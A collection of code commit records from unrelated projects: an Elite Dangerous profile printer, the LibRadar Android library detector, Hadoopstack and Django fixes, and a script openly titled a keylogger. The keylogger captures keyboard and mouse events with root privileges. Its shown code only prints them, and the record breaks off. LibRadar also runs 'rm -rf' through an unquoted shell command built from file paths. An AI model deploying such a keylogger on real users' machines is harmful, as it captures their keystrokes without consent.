            player_json = f.readline()
            f.close()
except:
    "Please run edce_client.py at least once, so that it may create a last.json file."
    exit()

data = edce.util.edict(player_json)

station = ""
if data.profile.commander.docked:
    station = "/" + data.profile.lastStarport.name

print(alignStr("CMDR:",data.profile.commander.name))
print(alignStr("System:",data.profile.lastSystem.name + station))
print(alignNum("Credits:",data.profile.commander.credits))

if "ship" in data.profile:
    print(alignStr("Ship:",data.profile.ship.name))

if "ships" in data.profile:
    print("\n========== All ships: ==========")

    all_ships = {}
    for ship, shipEntry in data.profile.ships.items():
        starsystem = shipEntry.starsystem
        starsystem_station = shipEntry.station
        if starsystem and starsystem_station:
            station = starsystem.name + "/" + starsystem_station.name
            if not station in all_ships:
                all_ships[station]=[]

            all_ships[station].append(shipEntry.name)

    for s in OrderedDict(sorted(all_ships.items())):
        print(alignStr(s,", ".join(all_ships[s])))

if "stats" in data and "explore" in data.profile.stats and "lastVisitedStarSystems" in data.profile.stats.explore:
    print("\n========== Last Visited: ==========")
    for s in data.profile.stats.explore.lastVisitedStarSystems:
        print(s)
<|endoftext|>


<commit_before># -*- coding:utf-8 -*-
# Created at 2015/7/20
# Recently Modified at 2015/10/17
# Current Version 1.2.0

__author__ = 'Zachary Marv - 马子昂'

"""
    LibRadar is a tool for detecting third-party libraries in Android apps accurately and instantly.
"""

import os
import json
import glob
import re
import subprocess
import sys
from time_recorder import TimeRecord

"""
RM_STATUS : {
    0 Remove Nothing
    1 Remove all
}
"""
RM_STATUS = 1
DEBUG_ON = False
DEBUG_PATH = False

class Detector:
    """
     Detector
    """
    library_type = {
        "da": "Development Aid",
        "sn": "Social Network",
        "ad": "Advertisement",
        "am": "App Market",
        "ma": "Mobile Analytics",
        "pa": "Payment",
        "ui": "UI Component",
        "ge": "Game Engine",
        "ut": "Utility",
        "mp": "Map"
    }

    def __init__(self):
        # Init Two Time Recorder.
        self.time_decode = TimeRecord('Target App Decoding')
        self.time_load = TimeRecord('Lib Data Loading')
        self.time_extract = TimeRecord('Feature Extracting')
        self.time_compare = TimeRecord('Library Searching')

        # For decoding bug.
        reload(sys)
        sys.setdefaultencoding("utf-8")

        # Init API dict and data.
        self.api_dict = {}
        self.packages_feature = []
        self.libs_feature = []
        self.project_path = os.path.dirname(sys.argv[0])
        if self.project_path == "":
            self.project_path = "."
        self.load_data()

    @staticmethod
    def rm_lib_files(lib_list):
        for lib_dir_name in lib_list:
            cmd = 'rm -rf %s' % lib_dir_name
            subprocess.call(cmd, shell=True)

    def get_number(self, string):
        """
        Get API ID From API Dictionary.
        获得API的编号
        :param string: API Name+
        :return: API ID
        """
        if string not in self.api_dict:
            return -1
        return str(self.api_dict[string]['v'])

    def get_permission(self, string):
        """
        Get Permission From API Dictionary.
        获得API的权限
        :param string: API Name
        :return: Permission List
        """
        if string not in self.api_dict:
            return -1
        return self.api_dict[string]['p']

    def all_over(self, apk_path, path):
        """
        Recursive body of package for getting the features
        :param apk_path: APK Path
        :param path: Packages Path
        :return: API Dict of this package, Directory Number in this Package, File Number, Total API Call.
        """
        if DEBUG_PATH:
            print ('PATH : ' + path)
        find_file = re.compile(r'.smali$')
        p = re.compile(r'Landroid/.*?;?\-?>*?\(|Ljava/.*?;?\-?>*?\(|Ljavax/.*?;?\-?>*?\(|Lunit/runner/.*?;?\-?>*?\('
                       r'|Lunit/framework/.*?;?\-?>*?\('
                       r'|Lorg/apache/commons/logging/.*?;?\-?>*?\(|Lorg/apache/http/.*?;?\-?>*?\(|Lorg/json/.*?;'
                       r'?\-?>*?\(|Lorg/w3c/.*?;?\-?>*?\(|Lorg/xml/.*?;?\-?>*?\(|Lorg/xmlpull/.*?;?\-?>*?\(|'
                       r'Lcom/android/internal/util.*?;?\-?>*?\(')
        all_thing = glob.glob('*')
        this_permission = []
        this_call_num = 0
        this_dir_num = 0
        this_file_num = 0
        direct_dir_num = 0
        direct_file_num = 0
        this_dict = {}
        for thing in all_thing:
            # If the thing is a directory.
            if os.path.isdir(thing):
                if DEBUG_PATH:
                    print ('Path and Current Work Directory.')
                    print thing
                    print os.getcwd()
                os.chdir(thing + '/')
                # Merge Dictionary
                # 合并字典
                child = self.all_over(apk_path, path + thing + '/')
                if child is not None:
                    this_dict.update(child[0])
                    this_dir_num += child[1] + 1
                    direct_dir_num += 1
                    this_file_num += child[2]
                    this_call_num += child[3]
                    if child[4] != []:
                        for per in child[4]:
                            if per not in this_permission:
                                this_permission.append(per)
                os.chdir('..')
            # If the 'thing' is a file
            # 如果 thing 是一个文件
            else:
                try:
                    # Is this file a smali file?
                    # 如果这个文件是一个SMALI文件
                    if not find_file.search(thing):
                        continue
                    f = open(thing, 'r')
                    for u in f:
                        # For every line in this file.
                        # 搜索每一行。
                        match = p.findall(u)
                        for system_call in match:
                            if '"' in system_call:
                                continue
                            this_call_num += 1
                            call_num = self.get_number(system_call)
                            permissions = self.get_permission(system_call)
                            if permissions == -1:
                                continue
                            # print permissions
                            if len(permissions) != 0:
                                for per in permissions:
                                    if per not in this_permission:
                                        this_permission.append(per)

                            if call_num == -1:
                                continue
                            if call_num in this_dict:
                                this_dict[call_num] += 1
                            else:
                                this_dict[call_num] = 1
                    f.close()
                    this_file_num += 1
                    direct_file_num += 1
                except Exception as ex:
                    if DEBUG_ON:
                        print('Can not Open ' + thing + ' Wrong with:' + str(ex))
        # If there is no API call in this package, just ignore it.
        if len(this_dict) == 0:
            return
        if DEBUG_PATH:
            print ('APK_PATH' + apk_path)
        bh = 0
        for a in this_dict:
            bh = (bh + int(a) * this_dict[a]) % 999983          # 99983 is A Big Prime
        self.packages_feature.append((bh, len(this_dict), this_call_num, path, this_permission))
        return this_dict, this_dir_num, this_file_num, this_call_num, this_permission

    def get_smali(self, path):
        """
        Convert APK into Smali file.
        :param path:
        :return: decoded files' path
        """
        self.time_decode.start()
        cmd = self.project_path + "/" + "../tool/apktool decode %s -o " % path + self.project_path + "/" + \
            "../decoded/%s" % os.path.basename(path)
        subprocess.call(cmd, shell=True)
        self.time_decode.end()
        return self.project_path + '/../decoded/%s' % os.path.basename(path)

    def load_data(self):
        # - Loading Data

        self.time_load.start()
        dep_address = self.project_path + "/" + "../data/tgst5.dat"
        dict_address = self.project_path + "/" + "../permission/tagged_dict.txt"
        dep_file = open(dep_address, 'r')
        dict_file = open(dict_address, 'r')

        # -- Loading API Dict
        for line in dict_file:
            # print line
            u = json.loads(line)
            if 'p' in u:
                self.api_dict[u['k']] = {'v': u['v'], 'p': u['p']}
            else:
                self.api_dict[u['k']] = {'v': u['v'], 'p': []}

        # -- Loading Hashed Libs

        for line in dep_file:
            # print line
            u = json.loads(line)
            """
            {"dn": 311,                         Repetitions
             "lib": "pollfish",                 Library
              "sp": "com/pollfish/f/a",         Simplified Path
               "bh": 32370,                     B_Hash
                "btc": 40,                      B_Total_Call
                 "btn": 12,                     B_Total_Number
                  "pn": "com/pollfish"}         Package Name
            """
            if "pn" in u:
                components = u['lib'].split(';')
                assert len(components) == 3
                lib_type = components[0]
                if lib_type in self.library_type:
                    lib_type = self.library_type[lib_type]
                eng_lib = components[1]        # English Library
                ch_des = components[2]         # Web Link
                self.libs_feature.append(
                    (u['bh'], u['btn'], u['btc'], u['sp'], eng_lib, u['pn'], u['dn'], ch_des, lib_type)
                )
            else:
                self.libs_feature.append((u['bh'],  u['btn'], u['btc'], u['sp'], u['lib'], "", u['dn'], "", ""))

        self.time_load.end()

    def get_hash(self, apk_path):
        """
        Convert APK into Smali file.
        :param path:
        :return: The path of apk with libs removed.
        """

        self.time_extract.start()

        # - All Over
        # print apk_path+'/smali'
        if os.path.exists(apk_path+'/smali'):
            os.chdir(apk_path+'/smali')
            self.all_over(apk_path, '')
            # os.chdir(apk_path)

        # Print Res
        # print packages_feature
        '''
        if DEBUG:
            for p in packages_feature:
                print p
        '''
        cur_app_libs = []
        cur_app_routes = {}
        path_and_permission = {}

        number_of_tagged_libs = len(self.libs_feature)
        self.time_extract.end()
        self.time_compare.start()

        def compare_d(a, b):
            if a[1] < b[1]:
                return -1
            elif a[1] > b[1]:
                return 1
            else:
                if a[2] < b[2]:
                    return -2
                elif a[2] > b[2]:
                    return 2
                else:
                    if a[0] < b[0]:
                        return -3
                    elif a[0] > b[0]:
                        return 3
                    else:
                        return 0

        def find_feature(package, start, end):
            if start >= end:
                return None
            mid = (start + end) / 2
            """
                packages_feature.append((bh, len(this_dict), this_call_num, '/'.join(parts), this_permission))
            """
            if compare_d(package, self.libs_feature[mid]) == 0:
                if self.libs_feature[mid][4] != "" and self.libs_feature[mid][4] != "Nope":
                    cur_app_libs.append({
                        "bh": self.libs_feature[mid][0],
                        "btn": self.libs_feature[mid][1],
                        "btc": self.libs_feature[mid][2],
                        "sp": self.libs_feature[mid][3],
                        "lib": self.libs_feature[mid][4],
                        "pn": self.libs_feature[mid][5],
                        "dn": self.libs_feature[mid][6],
                        "ch": self.libs_feature[mid][7],         # Web Link
                        "tp": self.libs_feature[mid][8],
                        "csp": package[3],                  # Current S_path
                    })
                elif self.libs_feature[mid][4] == "":
                    cur_app_routes[self.libs_feature[mid][3]] = {
                        "pn": self.libs_feature[mid][3],
                        "cpn": package[3],
                        "p": package[4],
                        "dn": self.libs_feature[mid][6]
                    }
            elif compare_d(package, self.libs_feature[mid]) < 0:
                return find_feature(package, mid + 1, end)
            else:
                return find_feature(package, start, mid)

        if DEBUG_ON:
            print "--Packages--"

        def find_features(package):
            if package[3] != "":
                if len(package[4]) == 0:
                    if DEBUG_ON:
                        print package[3]
                    path_and_permission[package[3]] = []
                else:
                    if DEBUG_ON:
                        print package[3]+' -- Permission: '+str(package[4])
                    path_and_permission[package[3]] = package[4]
            find_feature(package, 0, number_of_tagged_libs)

        for pack in self.packages_feature:
            if DEBUG_PATH:
                print ('PACK' + str(pack))
            find_features(pack)
        if DEBUG_ON:
            print "PATH and Permission:"
            for k in path_and_permission:
                print k + str(path_and_permission[k])
        print "--Splitter--"
        final_libs_dict = {}
        for i in cur_app_libs:
            # 先找PN
            # 然后切分sp。找到对应的path
            # 然后把对应的Permission找出来加进来
            if i['pn'] in final_libs_dict:
                # 找到同样package name的小包中，重复次数最多的，作为总的重复次数
                # 本来想找到大包的重复次数作为重复次数，但是大包的重复次数甚至很容易直接是0
                # 并不适合。
                if final_libs_dict[i['pn']]['dn'] < i['dn']:
                    final_libs_dict[i['pn']]['dn'] = i['dn']
            pn_number = len(i['pn'].split('/'))
            cpn = '/'.join(i['csp'].split('/')[0:pn_number])
            if cpn[-1:] != '/':
                cpn += '/'
            i['cpn'] = cpn
            i['p'] = path_and_permission[cpn]
            final_libs_dict[i['pn']] = i
            #print str(i) + ','
        final_libs_list = []
        for i in final_libs_dict:
            final_libs_dict[i]['pn'] += '/'
            final_libs_list.append(final_libs_dict[i])
        # print json.dumps(final_libs_list)
        final_routes_list = []
        for i in cur_app_routes:
            cur_app_routes[i]['pn'] += '/'
            final_libs_list.append(cur_app_routes[i])
        sorted_libs = sorted(final_libs_list, key=lambda lib: lib['dn'], reverse=True)
        print json.dumps(sorted_libs)
        print "--Splitter--"
        print "--Splitter--"
        self.time_compare.end()

        # To String
        # print "--Time-Consuming--"
        self.time_decode.tostring()
        self.time_load.tostring()
        self.time_extract.tostring()
        self.time_compare.tostring()

        # Remove Lib Files.
        lib_dir_list = []
        for i in final_libs_dict:
            if 'cpn' in final_libs_dict[i]:
                lib_dir_list.append(apk_path + '/smali/' + final_libs_dict[i]['cpn'])
        if RM_STATUS > 0:
            self.rm_lib_files(lib_dir_list)

        if RM_STATUS == 1:
            cmd = 'rm -rf %s' % apk_path
            subprocess.call(cmd, shell=True)
<commit_msg>计时方式的简要修改<commit_after># -*- coding:utf-8 -*-
# Created at 2015/7/20
# Recently Modified at 2015/10/17
# Current Version 1.2.0

__author__ = 'Zachary Marv - 马子昂'

"""
    LibRadar is a tool for detecting third-party libraries in Android apps accurately and instantly.
"""

import os
import json
import glob
import re
import subprocess
import sys
from time_recorder import TimeRecord

"""
RM_STATUS : {
    0 Remove Nothing
    1 Remove all
}
"""
RM_STATUS = 1
DEBUG_ON = False
DEBUG_PATH = False

class Detector:
    """
     Detector
    """
    library_type = {
        "da": "Development Aid",
        "sn": "Social Network",
        "ad": "Advertisement",
        "am": "App Market",
        "ma": "Mobile Analytics",
        "pa": "Payment",
        "ui": "UI Component",
        "ge": "Game Engine",
        "ut": "Utility",
        "mp": "Map"
    }

    def __init__(self):
        # Init Two Time Recorder.
        self.time_load_and_extract = TimeRecord('Decoding & Data Loading')
        self.time_compare = TimeRecord('Library Searching')

        # For decoding bug.
        reload(sys)
        sys.setdefaultencoding("utf-8")

        # Init API dict and data.
        self.api_dict = {}
        self.packages_feature = []
        self.libs_feature = []
        self.project_path = os.path.dirname(sys.argv[0])
        if self.project_path == "":
            self.project_path = "."
        self.load_data()

    @staticmethod
    def rm_lib_files(lib_list):
        for lib_dir_name in lib_list:
            cmd = 'rm -rf %s' % lib_dir_name
            subprocess.call(cmd, shell=True)

    def get_number(self, string):
        """
        Get API ID From API Dictionary.
        获得API的编号
        :param string: API Name+
        :return: API ID
        """
        if string not in self.api_dict:
            return -1
        return str(self.api_dict[string]['v'])

    def get_permission(self, string):
        """
        Get Permission From API Dictionary.
        获得API的权限
        :param string: API Name
        :return: Permission List
        """
        if string not in self.api_dict:
            return -1
        return self.api_dict[string]['p']

    def all_over(self, apk_path, path):
        """
        Recursive body of package for getting the features
        :param apk_path: APK Path
        :param path: Packages Path
        :return: API Dict of this package, Directory Number in this Package, File Number, Total API Call.
        """
        if DEBUG_PATH:
            print ('PATH : ' + path)
        find_file = re.compile(r'.smali$')
        p = re.compile(r'Landroid/.*?;?\-?>*?\(|Ljava/.*?;?\-?>*?\(|Ljavax/.*?;?\-?>*?\(|Lunit/runner/.*?;?\-?>*?\('
                       r'|Lunit/framework/.*?;?\-?>*?\('
                       r'|Lorg/apache/commons/logging/.*?;?\-?>*?\(|Lorg/apache/http/.*?;?\-?>*?\(|Lorg/json/.*?;'
                       r'?\-?>*?\(|Lorg/w3c/.*?;?\-?>*?\(|Lorg/xml/.*?;?\-?>*?\(|Lorg/xmlpull/.*?;?\-?>*?\(|'
                       r'Lcom/android/internal/util.*?;?\-?>*?\(')
        all_thing = glob.glob('*')
        this_permission = []
        this_call_num = 0
        this_dir_num = 0
        this_file_num = 0
        direct_dir_num = 0
        direct_file_num = 0
        this_dict = {}
        for thing in all_thing:
            # If the thing is a directory.
            if os.path.isdir(thing):
                if DEBUG_PATH:
                    print ('Path and Current Work Directory.')
                    print thing
                    print os.getcwd()
                os.chdir(thing + '/')
                # Merge Dictionary
                # 合并字典
                child = self.all_over(apk_path, path + thing + '/')
                if child is not None:
                    this_dict.update(child[0])
                    this_dir_num += child[1] + 1
                    direct_dir_num += 1
                    this_file_num += child[2]
                    this_call_num += child[3]
                    if child[4] != []:
                        for per in child[4]:
                            if per not in this_permission:
                                this_permission.append(per)
                os.chdir('..')
            # If the 'thing' is a file
            # 如果 thing 是一个文件
            else:
                try:
                    # Is this file a smali file?
                    # 如果这个文件是一个SMALI文件
                    if not find_file.search(thing):
                        continue
                    f = open(thing, 'r')
                    for u in f:
                        # For every line in this file.
                        # 搜索每一行。
                        match = p.findall(u)
                        for system_call in match:
                            if '"' in system_call:
                                continue
                            this_call_num += 1
                            call_num = self.get_number(system_call)
                            permissions = self.get_permission(system_call)
                            if permissions == -1:
                                continue
                            # print permissions
                            if len(permissions) != 0:
                                for per in permissions:
                                    if per not in this_permission:
                                        this_permission.append(per)

                            if call_num == -1:
                                continue
                            if call_num in this_dict:
                                this_dict[call_num] += 1
                            else:
                                this_dict[call_num] = 1
                    f.close()
                    this_file_num += 1
                    direct_file_num += 1
                except Exception as ex:
                    if DEBUG_ON:
                        print('Can not Open ' + thing + ' Wrong with:' + str(ex))
        # If there is no API call in this package, just ignore it.
        if len(this_dict) == 0:
            return
        if DEBUG_PATH:
            print ('APK_PATH' + apk_path)
        bh = 0
        for a in this_dict:
            bh = (bh + int(a) * this_dict[a]) % 999983          # 99983 is A Big Prime
        self.packages_feature.append((bh, len(this_dict), this_call_num, path, this_permission))
        return this_dict, this_dir_num, this_file_num, this_call_num, this_permission

    def get_smali(self, path):
        """
        Convert APK into Smali file.
        :param path:
        :return: decoded files' path
        """
        self.time_load_and_extract.start()
        cmd = self.project_path + "/" + "../tool/apktool decode %s -o " % path + self.project_path + "/" + \
            "../decoded/%s" % os.path.basename(path)
        subprocess.call(cmd, shell=True)
        return self.project_path + '/../decoded/%s' % os.path.basename(path)

    def load_data(self):
        # - Loading Data
        dep_address = self.project_path + "/" + "../data/tgst5.dat"
        dict_address = self.project_path + "/" + "../permission/tagged_dict.txt"
        dep_file = open(dep_address, 'r')
        dict_file = open(dict_address, 'r')

        # -- Loading API Dict
        for line in dict_file:
            # print line
            u = json.loads(line)
            if 'p' in u:
                self.api_dict[u['k']] = {'v': u['v'], 'p': u['p']}
            else:
                self.api_dict[u['k']] = {'v': u['v'], 'p': []}

        # -- Loading Hashed Libs

        for line in dep_file:
            # print line
            u = json.loads(line)
            """
            {"dn": 311,                         Repetitions
             "lib": "pollfish",                 Library
              "sp": "com/pollfish/f/a",         Simplified Path
               "bh": 32370,                     B_Hash
                "btc": 40,                      B_Total_Call
                 "btn": 12,                     B_Total_Number
                  "pn": "com/pollfish"}         Package Name
            """
            if "pn" in u:
                components = u['lib'].split(';')
                assert len(components) == 3
                lib_type = components[0]
                if lib_type in self.library_type:
                    lib_type = self.library_type[lib_type]
                eng_lib = components[1]        # English Library
                ch_des = components[2]         # Web Link
                self.libs_feature.append(
                    (u['bh'], u['btn'], u['btc'], u['sp'], eng_lib, u['pn'], u['dn'], ch_des, lib_type)
                )
            else:
                self.libs_feature.append((u['bh'],  u['btn'], u['btc'], u['sp'], u['lib'], "", u['dn'], "", ""))

    def get_hash(self, apk_path):
        """
        Convert APK into Smali file.
        :param path:
        :return: The path of apk with libs removed.
        """

        # - All Over
        # print apk_path+'/smali'
        if os.path.exists(apk_path+'/smali'):
            os.chdir(apk_path+'/smali')
            self.all_over(apk_path, '')
            # os.chdir(apk_path)

        # Print Res
        # print packages_feature
        '''
        if DEBUG:
            for p in packages_feature:
                print p
        '''
        cur_app_libs = []
        cur_app_routes = {}
        path_and_permission = {}

        number_of_tagged_libs = len(self.libs_feature)
        self.time_load_and_extract.end()
        self.time_compare.start()

        def compare_d(a, b):
            if a[1] < b[1]:
                return -1
            elif a[1] > b[1]:
                return 1
            else:
                if a[2] < b[2]:
                    return -2
                elif a[2] > b[2]:
                    return 2
                else:
                    if a[0] < b[0]:
                        return -3
                    elif a[0] > b[0]:
                        return 3
                    else:
                        return 0

        def find_feature(package, start, end):
            if start >= end:
                return None
            mid = (start + end) / 2
            """
                packages_feature.append((bh, len(this_dict), this_call_num, '/'.join(parts), this_permission))
            """
            if compare_d(package, self.libs_feature[mid]) == 0:
                if self.libs_feature[mid][4] != "" and self.libs_feature[mid][4] != "Nope":
                    cur_app_libs.append({
                        "bh": self.libs_feature[mid][0],
                        "btn": self.libs_feature[mid][1],
                        "btc": self.libs_feature[mid][2],
                        "sp": self.libs_feature[mid][3],
                        "lib": self.libs_feature[mid][4],
                        "pn": self.libs_feature[mid][5],
                        "dn": self.libs_feature[mid][6],
                        "ch": self.libs_feature[mid][7],         # Web Link
                        "tp": self.libs_feature[mid][8],
                        "csp": package[3],                  # Current S_path
                    })
                elif self.libs_feature[mid][4] == "":
                    cur_app_routes[self.libs_feature[mid][3]] = {
                        "pn": self.libs_feature[mid][3],
                        "cpn": package[3],
                        "p": package[4],
                        "dn": self.libs_feature[mid][6]
                    }
            elif compare_d(package, self.libs_feature[mid]) < 0:
                return find_feature(package, mid + 1, end)
            else:
                return find_feature(package, start, mid)

        if DEBUG_ON:
            print "--Packages--"

        def find_features(package):
            if package[3] != "":
                if len(package[4]) == 0:
                    if DEBUG_ON:
                        print package[3]
                    path_and_permission[package[3]] = []
                else:
                    if DEBUG_ON:
                        print package[3]+' -- Permission: '+str(package[4])
                    path_and_permission[package[3]] = package[4]
            find_feature(package, 0, number_of_tagged_libs)

        for pack in self.packages_feature:
            if DEBUG_PATH:
                print ('PACK' + str(pack))
            find_features(pack)
        if DEBUG_ON:
            print "PATH and Permission:"
            for k in path_and_permission:
                print k + str(path_and_permission[k])
        print "--Splitter--"
        final_libs_dict = {}
        for i in cur_app_libs:
            # 先找PN
            # 然后切分sp。找到对应的path
            # 然后把对应的Permission找出来加进来
            if i['pn'] in final_libs_dict:
                # 找到同样package name的小包中，重复次数最多的，作为总的重复次数
                # 本来想找到大包的重复次数作为重复次数，但是大包的重复次数甚至很容易直接是0
                # 并不适合。
                if final_libs_dict[i['pn']]['dn'] < i['dn']:
                    final_libs_dict[i['pn']]['dn'] = i['dn']
            pn_number = len(i['pn'].split('/'))
            cpn = '/'.join(i['csp'].split('/')[0:pn_number])
            if cpn[-1:] != '/':
                cpn += '/'
            i['cpn'] = cpn
            i['p'] = path_and_permission[cpn]
            final_libs_dict[i['pn']] = i
            #print str(i) + ','
        final_libs_list = []
        for i in final_libs_dict:
            final_libs_dict[i]['pn'] += '/'
            final_libs_list.append(final_libs_dict[i])
        # print json.dumps(final_libs_list)
        final_routes_list = []
        for i in cur_app_routes:
            cur_app_routes[i]['pn'] += '/'
            final_libs_list.append(cur_app_routes[i])
        sorted_libs = sorted(final_libs_list, key=lambda lib: lib['dn'], reverse=True)
        print json.dumps(sorted_libs)
        print "--Splitter--"
        print "--Splitter--"
        self.time_compare.end()

        # To String
        # print "--Time-Consuming--"
        self.time_load_and_extract.tostring()
        self.time_compare.tostring()

        # Remove Lib Files.
        lib_dir_list = []
        for i in final_libs_dict:
            if 'cpn' in final_libs_dict[i]:
                lib_dir_list.append(apk_path + '/smali/' + final_libs_dict[i]['cpn'])
        if RM_STATUS > 0:
            self.rm_lib_files(lib_dir_list)

        if RM_STATUS == 1:
            cmd = 'rm -rf %s' % apk_path
            subprocess.call(cmd, shell=True)
<|endoftext|>


<commit_before>from hadoopstack import config
from time import sleep

import hadoopstack
import simplejson

from hadoopstack.dbOperations.makedict import jobDict

from bson import objectid

jobs_list = []

def create(data):

    jobDetails = jobDict(data)
    hadoopstack.main.mongo.db.job.insert(jobDetails)

    #print jobDetails
    id_t = str(jobDetails['_id'])
    jobDetails['_id'] = simplejson.dumps(id_t)

    jobs_list.append(jobDetails['name'])
    create_ret = {}
    create_ret['job_id'] = id_t
    return create_ret

def delete(job_id):

    job_info = hadoopstack.main.mongo.db.job.find({"_id": objectid.ObjectId(job_id)})[0]

    hadoopstack.main.mongo.db.job.remove({"_id": objectid.ObjectId(job_id)})

    return ('Deleted Job', 200)
<commit_msg>Job status to Deleted<commit_after>from hadoopstack import config
from time import sleep

import hadoopstack
import simplejson

from hadoopstack.dbOperations.makedict import jobDict

from bson import objectid

jobs_list = []

def create(data):

    jobDetails = jobDict(data)
    hadoopstack.main.mongo.db.job.insert(jobDetails)

    #print jobDetails
    id_t = str(jobDetails['_id'])
    jobDetails['_id'] = simplejson.dumps(id_t)

    jobs_list.append(jobDetails['name'])
    create_ret = {}
    create_ret['job_id'] = id_t
    return create_ret

def delete(job_id):

    job_info = hadoopstack.main.mongo.db.job.find({"_id": objectid.ObjectId(job_id)})[0]

    #hadoopstack.main.mongo.db.job.remove({"_id": objectid.ObjectId(job_id)})

    # Not Actually deleted the job from the Database, setting the status to DELETED
    job_info['current_status'] = "deleted"

    #print job_info

    return ('Deleted Job', 200)
<|endoftext|>


<commit_before>from django.db import models
from .NikudFunctions import remove_nikud

# Create your models here.
class Creator(models.Model):
    name = models.CharField(max_length = 250)
    birth = models.IntegerField(default = 1900)
    death = models.IntegerField(default = 0)
    description = models.CharField(max_length = 2000)
    wikipedia_link = models.CharField(max_length = 200,null = True)
    def __str__(self):
        return "<creator : {}>".format(self.name.encode("utf8"))

class Translator(models.Model):
    name = models.CharField(max_length = 250)
    birth = models.IntegerField(default = 1900)
    death = models.IntegerField(default = 0,null =True,blank = True)
    description = models.CharField(max_length = 2000)
    wikipedia_link = models.CharField(max_length = 200,null = True,blank = True)
    def __str__(self):
        return "<translateor : {} >".format(self.name.encode("utf8"))

class Piece(models.Model):
    name = models.CharField(max_length = 250)
    creator = models.ForeignKey(Creator)
    translator = models.ForeignKey(Translator,null = True,blank = True)
    date = models.DateField(null = True,blank = True)
    chapters = models.ManyToManyField("Chapter")
    def __str__(self):
        return "<piece : {}>".format(self.name.encode("utf8"))

    def get_full_text(self):
        return str.join("",(i.text for i in self.chapters))
    def get_full_text_without_nikud(self):
        return remove_nikud(self.get_full_text())
    def to_dict(self):
        return {'name' : self.name,
                'creator_name' : self.creator.name,
                'creator_id' : self.creator.id,
                'text' : self.get_full_text(),
                'text_without_nikud' : self.get_full_text_without_nikud()}

class Chapter(models.Model):
    name = models.CharField(max_length = 250)
    text = models.TextField()
    searchable_text = None
    index = models.IntegerField()
    def __str__(self):
        return "<chapter : {} >".format(self.name.encode("utf8"))

<commit_msg>Bug fix<commit_after>from django.db import models
from .NikudFunctions import remove_nikud

# Create your models here.
class Creator(models.Model):
    name = models.CharField(max_length = 250)
    birth = models.IntegerField(default = 1900)
    death = models.IntegerField(default = 0)
    description = models.CharField(max_length = 2000)
    wikipedia_link = models.CharField(max_length = 200,null = True)
    def __str__(self):
        return "<creator : {}>".format(self.name.encode("utf8"))

class Translator(models.Model):
    name = models.CharField(max_length = 250)
    birth = models.IntegerField(default = 1900)
    death = models.IntegerField(default = 0,null =True,blank = True)
    description = models.CharField(max_length = 2000)
    wikipedia_link = models.CharField(max_length = 200,null = True,blank = True)
    def __str__(self):
        return "<translateor : {} >".format(self.name.encode("utf8"))

class Piece(models.Model):
    name = models.CharField(max_length = 250)
    creator = models.ForeignKey(Creator)
    translator = models.ForeignKey(Translator,null = True,blank = True)
    date = models.DateField(null = True,blank = True)
    chapters = models.ManyToManyField("Chapter")
    def __str__(self):
        return "<piece : {}>".format(self.name.encode("utf8"))

    def get_full_text(self):
        return str.join("",(i.text for i in self.chapters.all()))
    def get_full_text_without_nikud(self):
        return remove_nikud(self.get_full_text())
    def to_dict(self):
        return {'name' : self.name,
                'creator_name' : self.creator.name,
                'creator_id' : self.creator.id,
                'text' : self.get_full_text(),
                'text_without_nikud' : self.get_full_text_without_nikud()}

class Chapter(models.Model):
    name = models.CharField(max_length = 250)
    text = models.TextField()
    searchable_text = None
    index = models.IntegerField()
    def __str__(self):
        return "<chapter : {} >".format(self.name.encode("utf8"))

<|endoftext|>


<commit_before>'''

Author: Gustavo Martin Vela
Python-web-keylogger
2013

Based on the python-evdev library from https://github.com/gvalkov/python-evdev/

IT IS NECESSARY TO PLAY THIS SCRIPT WITH ROOT PRIVILEGES (SUDO)

'''

# To install evdev library: sudo pip install evdev
# evdev library webpage: http://pythonhosted.org/evdev/
from evdev import InputDevice, list_devices, categorize, ecodes, resolve_ecodes
# Necessary to read well multiple devices
from select import select
# Regular expressions library to catch the keys inside the events
#import re

#evfmt = 'time {:<16} type {} ({}), code {:<4} ({}), value {}'
minimal_evfmt = '{},{},{}'

# This list is to enter the strings in uppercase that we want to search
wanted_devices_string_list = ["MOUSE", "KEYBOARD"]
# This dictionnary is to save the devices that maps with our strings
interesting_devices_dict = {}
# This mapping maps each device to /dev/input/eventX
devices = map(InputDevice, list_devices())

# A new list to save only the wanted devices
wanted_devices_list = []
# Searching in all the devices
for dev in devices:
	# Converting device names to uppercase to process well
	name_upper = dev.name.upper()
	# Iterating over our wanted strings
	for wanted_string in wanted_devices_string_list:
		# Searching our string in the names of the devices
		if wanted_string in name_upper:
			# Saving in the dictionnary
			interesting_devices_dict[wanted_string] = dev
			# Put all the wanted devives in the new tuple
			wanted_devices_list.append(dev.fn)
	print( '%-20s %-38s %s' % (dev.fn, dev.name, dev.phys) )

# Searching in all the interesting devices
#for key, device in interesting_devices_dict.iteritems():
	# Mapping all the capabilities of the device
	#print "%s\n%s" % (key, device.capabilities(verbose=True))

# Mapping only our interesting devices
devices = map(InputDevice, wanted_devices_list)
devices = {dev.fd : dev for dev in devices}

# This method is derived from evdev examples. It is very useful!
# This method only print from console the events.
def print_event(e):
	# If the type of the event is a marker to separate events
    if e.type == ecodes.EV_SYN:
        print('{}'.format(ecodes.SYN[e.code]))
        # SYN_MT_REPORT is to Multitouch Devices. In this case it is not necessary for the moment!
        # All these events are well described in https://www.kernel.org/doc/Documentation/input/event-codes.txt
    # If the type of the event is not a marker to separate events
    else:
    	# If the type of the event is known in evdev code, print the string associated
        if e.type in ecodes.bytype:
            codename = ecodes.bytype[e.type][e.code]
        # If not, print unknown
        else:
            codename = 'UNKNOWN'
        # Print a message like "EV_MSC,MSC_SCAN,157" or "EV_KEY,KEY_RIGHTCTRL,1"
        print(minimal_evfmt.format(ecodes.EV[e.type], codename, e.value))
        #print(evfmt.format(e.timestamp(), e.type, ecodes.EV[e.type], e.code, codename, e.value))

# Reporting infinitelly over events from our interesting devices
while True:
	# Interface to Unix select() system call. http://docs.python.org/2/library/select.html
	r,w,x = select(devices, [], [])
	# searching only the interesting devices events
	for fd in r:
		for event in devices[fd].read():
			# Displaying the events categorized
			#m = outer.search(str(categorize(event)))
			#print m
			#print(repr(event))
			#print(event)
			print_event(event)<commit_msg>trying to manage the data to store in a .txt only the essential<commit_after>'''

Author: Gustavo Martin Vela
Python-web-keylogger
2013

Based on the python-evdev library from https://github.com/gvalkov/python-evdev/

IT IS NECESSARY TO PLAY THIS SCRIPT WITH ROOT PRIVILEGES (SUDO)

'''

# To install evdev library: sudo pip install evdev
# evdev library webpage: http://pythonhosted.org/evdev/
from evdev import InputDevice, list_devices, categorize, ecodes, resolve_ecodes
# Necessary to read well multiple devices
from select import select
